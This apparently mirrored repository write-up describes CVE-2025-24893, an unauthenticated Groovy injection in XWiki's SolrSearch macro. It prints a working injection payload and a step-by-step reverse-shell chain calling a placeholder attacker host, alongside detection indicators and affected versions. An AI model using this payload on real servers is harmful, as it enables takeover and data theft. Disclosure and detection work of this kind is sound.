XWiki SolrSearch Macro Unauthenticated Groovy RCE (CVE-2025-24893)

Metadata

Affected Target

Summary

CVE-2025-24893 is a critical unauthenticated remote code execution vulnerability in XWiki, caused by the built-in SolrSearch macro (Main.SolrSearch) passing user-supplied search input into a Groovy evaluation context without sanitization. By crafting a GET request whose text parameter closes the wiki-syntax context and opens an {{async}}{{groovy}}...{{/groovy}}{{/async}} block, an anonymous attacker can get arbitrary Groovy code executed server-side. The PoC in this repository is a Python exploit script that builds a base64-encoded reverse-shell payload, wraps it in the Groovy injection syntax, URL-encodes it, and fires it at the vulnerable endpoint via curl, giving the attacker an interactive shell on the XWiki host.

Vulnerability Details

Root Cause

The SolrSearch macro evaluates the text query parameter as wiki syntax without properly escaping macro-closing sequences. Because XWiki’s macro engine will happily parse a new {{groovy}} block embedded inside what should be plain search text, an attacker can break out of the intended context and inject an async/groovy macro pair that is evaluated server-side with no authentication check:

/xwiki/bin/get/Main/SolrSearch?media=rss&text=

Example payload injected into the text parameter:

1

}}}{{async async=false}}{{groovy}}'id'.execute(){{/groovy}}{{/async}}

The leading }}} closes the macro/context the input was expected to stay inside of, and the subsequent {{async}}{{groovy}}...{{/groovy}}{{/async}} block is then parsed and executed by XWiki’s Groovy interpreter, running with the privileges of the XWiki application server process.

Attack Vector

1. Identify a reachable XWiki instance running an affected version (< 15.10.11, 16.4.1, or 16.5.0RC1).
2. Start a listener on the attacker machine to catch a reverse shell (e.g. nc -lvnp 1337).
3. Build a Groovy payload that base64-encodes and executes a reverse-shell one-liner (bash -c 'sh -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'), wrapped as "...".execute() inside {{groovy}}...{{/groovy}} and {{async async=false}}...{{/async}} macro tags.
4. URL-encode the payload and append it as the text parameter to GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=<payload> — no authentication or session cookie is required.
5. XWiki’s macro/search engine evaluates the injected Groovy, executing the OS command and opening a reverse shell back to the attacker’s listener.

Impact

Full unauthenticated remote code execution as the user running the XWiki application server, typically leading to complete compromise of the host (data theft, lateral movement, persistence) since XWiki instances often run with broad filesystem and network access for wiki/attachment storage and integrations.

Environment / Lab Setup

Target:    XWiki 15.10.8 (or any version < 15.10.11 / 16.4.1 / 16.5.0RC1), default install,
           SolrSearch macro reachable at /xwiki/bin/get/Main/SolrSearch
Attacker:  Python 3 with `colorama` installed (pip install colorama)
           `curl` available on PATH
           netcat (or any listener) to catch the reverse shell: nc -lvnp <port>

Proof of Concept

PoC Script

See CVE-2025-24893-dbs.py in this folder.

1
2
3

nc -lvnp 1337

python3 CVE-2025-24893-dbs.py

Detection & Indicators of Compromise

- HTTP GET requests to /xwiki/bin/get/Main/SolrSearch with a `text` parameter containing
  wiki macro-closing sequences (`}}}`) followed by `{{async`, `{{groovy}}`, or `.execute()`
- Access log entries with unusually long, URL-encoded `text` query parameters on the
  SolrSearch endpoint from unauthenticated/anonymous sessions
- Unexpected child processes spawned by the XWiki/Tomcat/Jetty JVM process (bash, sh, nc,
  curl, wget, base64) shortly after a SolrSearch request
- Outbound TCP connections from the XWiki host to unfamiliar external IPs on non-standard
  ports (reverse shell callbacks)

Signs of compromise:

• Unexplained bash/sh child processes under the XWiki application server (Tomcat/Jetty) user
• SolrSearch requests in access logs with Groovy/async macro syntax in the text parameter
• New outbound connections from the XWiki host immediately following a SolrSearch request
• Unauthorized modifications to wiki pages, attachments, or server configuration files

Remediation

References

• Source repository
• OffSec Blog: CVE-2025-24893 XWiki Groovy RCE
• NVD Entry: CVE-2025-24893

Notes

Mirrored from https://github.com/Fomovet/cve-2025-24893 on 2026-07-06. The exploit script is credited by the repo author to @dollarboysushil; the repository itself is published under the account Fomovet. Screenshots from the original README demonstrating the full attack chain (vulnerable interface, listener, exploit run, shell acquired) are preserved in the images/ subdirectory.